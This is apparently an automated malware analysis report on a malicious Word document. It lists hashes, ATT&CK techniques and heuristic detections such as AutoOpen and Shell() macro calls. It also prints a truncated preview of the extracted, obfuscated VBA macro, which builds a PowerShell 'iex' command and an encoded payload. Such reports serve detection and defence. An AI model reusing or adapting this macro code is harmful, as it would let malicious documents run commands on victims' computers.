Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3af8fab327592bc4…

MALICIOUS

Office (OLE)

151.2 KB Created: 2018-06-22 06:46:00 Authoring application: Microsoft Office Word First seen: 2018-10-07
MD5: 5146732c5688c12738ead4fcc81fcd5f SHA-1: 40d67b7dd3f5c3e210f9f43bc5a6e0cbde289774 SHA-256: 3af8fab327592bc4ee3827560ce0db231c4590e1faad9e5200a4ad329bf9b970
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro with an AutoOpen function. This macro utilizes the Shell() function, indicating an attempt to execute external commands, likely PowerShell based on the script's string concatenation. The ClamAV detection and multiple VBA heuristic firings confirm its malicious nature, suggesting it's used as a delivery mechanism for further malicious activity.

Heuristics 7

  • ClamAV: Doc.Malware.Valyria-7059208-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-7059208-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 33631 bytes
SHA-256: e5b383528f49e496288f8de0a05a740e573671b498dbbcb7aa09935546bf0544
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "rrIOFiznRrol"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "zJJMXNiTjwTcIR"
Function RiUWFdEhvb()
On Error Resume Next
FzoYf = (VziIqi * 5896 + 19067 * CInt(FiiWs - CDbl(11172)) * 980 * Oct(15592))
FhsTmcFiOUz = "Hel" + "l " + " ."
jXQXwH = (MNZmG * 35802 + 17167 * CInt(pAMRqo - CDbl(65408)) * 79155 * Oct(15062))
AwuXWzPAq = " (" + " $P" + "SHo" + "mE[" + "21]" + "+$" + "ps"
wYmDbw = (rIrIT * 95123 + 6357 * CInt(CiRdXz - CDbl(74979)) * 41408 * Oct(85439))
McEIDXQzjp = "ho" + "ME" + "[3" + "4]+" + "'X'" + ")( "
RiUWFdEhvb = FhsTmcFiOUz + AwuXWzPAq + McEIDXQzjp
rtiSrw = (IrziUJ * 72115 + 56607 * CInt(PKRdWC - CDbl(16765)) * 82038 * Oct(76174))
End Function
Function FUDjnPAXHRY()
On Error Resume Next
QLkiL = (tVkCV * 48657 + 33639 * CInt(aKFGsi - CDbl(41472)) * 61596 * Oct(99551))
hsiFrMpuPd = Chr(34) + "$" + "(Se" + "T-i" + "tem" + "  " + "'v" + "Ar"
icEOLo = (sihiVY * 16611 + 71659 * CInt(anBaLp - CDbl(85679)) * 47880 * Oct(6935))
bhNzLDo = "iaB" + "Le" + ":O" + "Fs" + "' "
zCzFo = (MuAizf * 21020 + 91105 * CInt(dukKE - CDbl(73876)) * 94667 * Oct(40169))
bkqIWZn = " '" + "' " + ") "
HiiYd = (kfLzri * 88991 + 48299 * CInt(zJdHCf - CDbl(90919)) * 54164 * Oct(11390))
PqXSbwjP = Chr(34) + "+" + "[ST" + "rI" + "NG" + "]([" + "ch" + "Ar"
huIOz = (zhjzF * 11004 + 75428 * CInt(IwUUL - CDbl(6840)) * 67421 * Oct(68418))
NJivZ = "[]]" + " (" + "106" + ",5" + "9,"
rMuIp = (iMGYP * 92433 + 94844 * CInt(QLasAK - CDbl(53304)) * 74676 * Oct(84987))
vskOcCV = " 3" + "5," + " 36"
FUDjnPAXHRY = hsiFrMpuPd + bhNzLDo + bkqIWZn + PqXSbwjP + NJivZ + vskOcCV
NzDLb = (CawZQ * 4549 + 9037 * CInt(KPBkz - CDbl(63279)) * 45163 * Oct(39504))
End Function
Function ETUcj()
On Error Resume Next
WDIkL = (ZuEUYv * 81666 + 28489 * CInt(lpWpz - CDbl(46469)) * 22343 * Oct(27145))
KvYMWZcfI = ",56" + ",10" + ",1" + "10" + " , "
KhlJq = (LwsnhH * 36251 + 61421 * CInt(rZfLij - CDbl(39515)) * 38095 * Oct(580))
NzVPbJ = "11" + "5 " + ", 1" + "10,"
zKKhWn = (pBadw * 30521 + 5972 * CInt(IZDCh - CDbl(30698)) * 35744 * Oct(18404))
uPGwcwFL = " 32" + " ," + "43 " + ",5" + "7 ," + "99,"
zYtzfa = (NlfrdA * 32827 + 41679 * CInt(WRRFN - CDbl(91196)) * 18016 * Oct(53856))
hKOIzIZTH = " 3" + "3," + "44" + " ,3" + "6, "
ETUcj = KvYMWZcfI + NzVPbJ + uPGwcwFL + hKOIzIZTH
ZHRRSN = (AikwuK * 18817 + 51593 * CInt(PLkLoH - CDbl(15556)) * 64589 * Oct(4393))
End Function
Function UousqVzMF()
On Error Resume Next
wBESC = (RFGTY * 94089 + 35634 * CInt(KcVjX - CDbl(12234)) * 22577 * Oct(15383))
QfSOuc = "43" + " ," + "45 " + ", 5" + "8 ," + "11" + "0,6"
UzkYQF = (zjOIP * 60972 + 92774 * CInt(ijdFD - CDbl(14904)) * 24306 * Oct(36288))
WwaDiMPSk = "0," + "47" + " , " + "32" + ", "
SALmbK = (zqKkVR * 81191 + 1038 * CInt(pToiKB - CDbl(59924)) * 62206 * Oct(18508))
abMFlaGwUhj = "42" + ", " + "33," + " 35"
odGEiH = (rFPtfY * 48959 + 36211 * CInt(ZVMrQ - CDbl(86523)) * 54903 * Oct(10756))
dhufqkPlSwS = " ," + " 1" + "17" + " ,"
UousqVzMF = QfSOuc + WwaDiMPSk + abMFlaGwUhj + dhufqkPlSwS
nXkiR = (fccWS * 85817 + 72153 * CInt(cqakkF - CDbl(18519)) * 91841 * Oct(29250))
End Function
Function mmznajwPqD()
On Error Resume Next
BcJUS = (vAAquj * 87974 + 18385 * CInt(uODvDA - CDbl(31755)) * 76902 * Oct(88468))
RUOoM = "10" + "6 " + ", "
AqIrzE = (IVjoLL * 19115 + 88735 * CInt(Rrvjsz - CDbl(31884)) * 91096 * Oct(81190))
jiYFYnioJN = "61 " + ",42" + " ," + " 5,"
GALPko = (kSsmI * 1939 + 72496 * CInt(aYcAi - CDbl(5939)) * 86677 * Oct(2393))
TBjHCNlHZa = "13" + " , " + "33," + "11" + "0 " + ", 1"
mmznajwPqD = RUOoM + jiYFYnioJN + TBjHCNlHZa
iYsNrD = (NBIwr * 94030 + 11879 * CInt(AvbrBo - CDbl(17501)) * 82359 * Oct(18185))
End Function
Function WoTuWdlEm()
On Error Resume Next
RYnvHo = (zjjMv * 4176 + 86889 * CInt(SZHsn - CDbl(20970)) * 57700 * Oct(35061))
UHKlBt = "15" + ",11" + "0,"
zmbBzn = 
... (truncated)